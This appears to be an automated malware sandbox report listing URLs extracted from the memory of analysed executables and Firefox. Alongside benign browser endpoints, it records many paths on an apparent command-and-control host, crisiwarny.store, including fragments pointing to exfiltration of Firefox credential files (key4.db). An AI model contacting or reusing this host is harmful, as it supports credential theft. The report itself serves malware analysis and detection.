Source: file.exe, 00000000.00000003.1733332516.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733425645.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733227360.0000000005E5C000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608259033.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608026179.00000000057DF000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2739808698.0000000005ADB000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2808155146.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1733332516.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733425645.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733227360.0000000005E5C000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608259033.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608026179.00000000057DF000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2739808698.0000000005ADB000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2808155146.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2862321283.000001E76293E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2861997289.000001E762920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000003.1768311539.0000000001786000.00000004.00000020.00020000.00000000.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.0000000001332000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2641920304.00000000057CF000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2801742909.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2851208400.000000000113B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD5B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2963529504.000001E75E5AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000003.1768311539.0000000001786000.00000004.00000020.00020000.00000000.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.0000000001332000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2641920304.00000000057CF000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2802402716.0000000005A98000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2868740203.000000000113A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD5B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2963529504.000001E75E5AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001D.00000002.2955106076.000001E752C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: file.exe, 00000000.00000003.1786821317.000000000175D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.s
Source: e192e43b61.exe, 0000000D.00000003.2806047135.000000000111B000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000002.3031046367.0000000001123000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/
Source: e192e43b61.exe, 0000000A.00000003.2658045895.0000000001190000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2678842277.000000000118F000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2824415712.000000000145E000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2824195548.000000000145B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/(
Source: file.exe, 00000000.00000003.1732244600.0000000001756000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/.B64
Source: e192e43b61.exe, 0000000B.00000003.2809274914.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store//
Source: e192e43b61.exe, 0000000B.00000003.2824415712.000000000145E000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2824195548.000000000145B000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2936438339.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/1
Source: file.exe, 00000000.00000003.1732244600.00000000016FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/?
Source: e192e43b61.exe, 0000000B.00000003.2824415712.000000000145E000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2824195548.000000000145B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/A
Source: e192e43b61.exe, 0000000D.00000003.2908880792.0000000001123000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2898977300.0000000001123000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/B
Source: e192e43b61.exe, 0000000B.00000003.2883813497.000000000145F000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2809274914.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/G
Source: file.exe, 00000000.00000003.1732244600.0000000001756000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/HEFM
Source: e192e43b61.exe, 0000000A.00000003.2606262886.000000000118F000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2623816326.0000000001193000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608822442.0000000001193000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2623503748.000000000118F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/I
Source: e192e43b61.exe, 0000000B.00000003.2809274914.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/P
Source: e192e43b61.exe, 0000000D.00000003.2898977300.0000000001123000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/PW
Source: e192e43b61.exe, 0000000D.00000002.3031046367.0000000001095000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/R
Source: e192e43b61.exe, 0000000A.00000003.2898981302.0000000001187000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2678842277.000000000118F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/T
Source: file.exe, 00000000.00000003.1873047117.000000000177B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1804603796.000000000177B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/Y
Source: e192e43b61.exe, 0000000D.00000003.2898977300.00000000010D3000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000002.3031046367.0000000001123000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2792073053.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/api
Source: e192e43b61.exe, 0000000D.00000002.3031046367.0000000001123000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apiF9
Source: e192e43b61.exe, 0000000D.00000002.3031046367.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apiP
Source: e192e43b61.exe, 0000000B.00000002.3032149823.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apiS
Source: e192e43b61.exe, 0000000D.00000002.3031046367.0000000001095000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apiT
Source: file.exe, 00000000.00000003.1732244600.0000000001756000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2843716285.000000000146A000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2883708790.000000000146A000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2926644946.0000000001135000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apibu
Source: e192e43b61.exe, 0000000D.00000003.2806047135.00000000010D3000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2792073053.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apibuE
Source: e192e43b61.exe, 0000000A.00000003.2897509232.00000000011A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apibue
Source: e192e43b61.exe, 0000000B.00000002.3033486793.0000000001467000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apig
Source: file.exe, 00000000.00000003.1872949607.0000000001780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2004445181.0000000001783000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1804603796.0000000001780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apig9x
Source: file.exe, 00000000.00000003.1800136771.00000000016FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apipd
Source: file.exe, 00000000.00000003.2004445181.0000000001783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apire1
Source: file.exe, 00000000.00000003.1872949607.0000000001780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2004445181.0000000001783000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1804603796.0000000001780000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1800032678.0000000001782000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1804018008.0000000001782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apis
Source: file.exe, 00000000.00000003.1800032678.0000000001782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apis9x
Source: e192e43b61.exe, 0000000D.00000003.2908880792.00000000010D3000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000002.3031046367.00000000010D3000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2914261433.00000000010D3000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2926644946.00000000010D3000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2898977300.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apit
Source: file.exe, 00000000.00000003.1804018008.000000000177C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1873047117.000000000177B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2004277314.000000000177B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1804603796.000000000177B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1799770952.000000000177C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/e-
Source: file.exe, 00000000.00000003.1873047117.000000000177B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1804603796.000000000177B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/em
Source: e192e43b61.exe, 0000000D.00000003.2883370297.00000000010C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/hi39
Source: e192e43b61.exe, 0000000D.00000003.2792073053.000000000111B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/i
Source: e192e43b61.exe, 0000000B.00000003.2755425004.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/lB
Source: e192e43b61.exe, 0000000D.00000003.2908880792.0000000001123000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2898977300.0000000001123000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/r
Source: e192e43b61.exe, 0000000D.00000003.2883370297.00000000010C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/rdVPr
Source: file.exe, 00000000.00000003.1873047117.000000000177B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2004277314.000000000177B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1804603796.000000000177B000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2898981302.0000000001187000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/s
Source: e192e43b61.exe, 0000000A.00000003.2658045895.0000000001190000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2639716464.000000000118F000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2678842277.000000000118F000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2640641696.000000000118F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/y
Source: e192e43b61.exe, 0000000B.00000002.3030925786.00000000013D4000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000002.3031046367.0000000001095000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/api
Source: e192e43b61.exe, 0000000D.00000002.3031046367.0000000001095000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/api2o4p.default-release/key4.dbPK
Source: e192e43b61.exe, 0000000D.00000002.3031046367.0000000001095000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/api=
Source: e192e43b61.exe, 0000000B.00000002.3030925786.00000000013D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/apiF
Source: e192e43b61.exe, 0000000B.00000002.3030925786.00000000013D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/apin.txtPK
Source: e192e43b61.exe, 0000000D.00000002.3031046367.0000000001095000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/apiw
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001D.00000002.2967612350.000001E75EE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2967612350.000001E75EE2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 0000001D.00000002.2967612350.000001E75EE2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 0000001D.00000002.2967612350.000001E75EE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2967612350.000001E75EE2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 0000001D.00000002.2967612350.000001E75EE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2967612350.000001E75EE2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsTim
Source: firefox.exe, 0000001D.00000002.2967612350.000001E75EE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2967612350.000001E75EE2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001D.00000003.2861629695.000001E762700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2869871266.000001E76297B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3011870817.000037E83F604000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2863569523.000001E76295D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2983605466.000001E762670000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000003.2862321283.000001E76293E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2992758898.000001E7637B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3012022176.000037F743104000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2861997289.000001E762920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.1733332516.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733425645.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733227360.0000000005E5C000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608259033.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608026179.00000000057DF000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2739808698.0000000005ADB000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2808155146.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1733332516.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733425645.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733227360.0000000005E5C000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608259033.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608026179.00000000057DF000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2739808698.0000000005ADB000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2808155146.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1733332516.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733425645.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733227360.0000000005E5C000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608259033.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608026179.00000000057DF000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2739808698.0000000005ADB000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2808155146.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001D.00000003.2875621731.000001E760333000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2966624376.000001E75EB7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2880032566.000001E760331000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2879615438.000001E760314000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2980396667.000001E760EB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/DeferredTask.sys.mjshttp://compose
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2879615438.000001E760314000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2980396667.000001E760EB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001D.00000002.2967612350.000001E75EE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2967612350.000001E75EE2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001D.00000002.2967612350.000001E75EE12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EFDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EFDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordshttps
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1BrowserInitState.startupIdleTaskPromise
Source: firefox.exe, 0000001D.00000002.2981878374.000001E76132B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001D.00000002.2974606521.000001E75FD3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
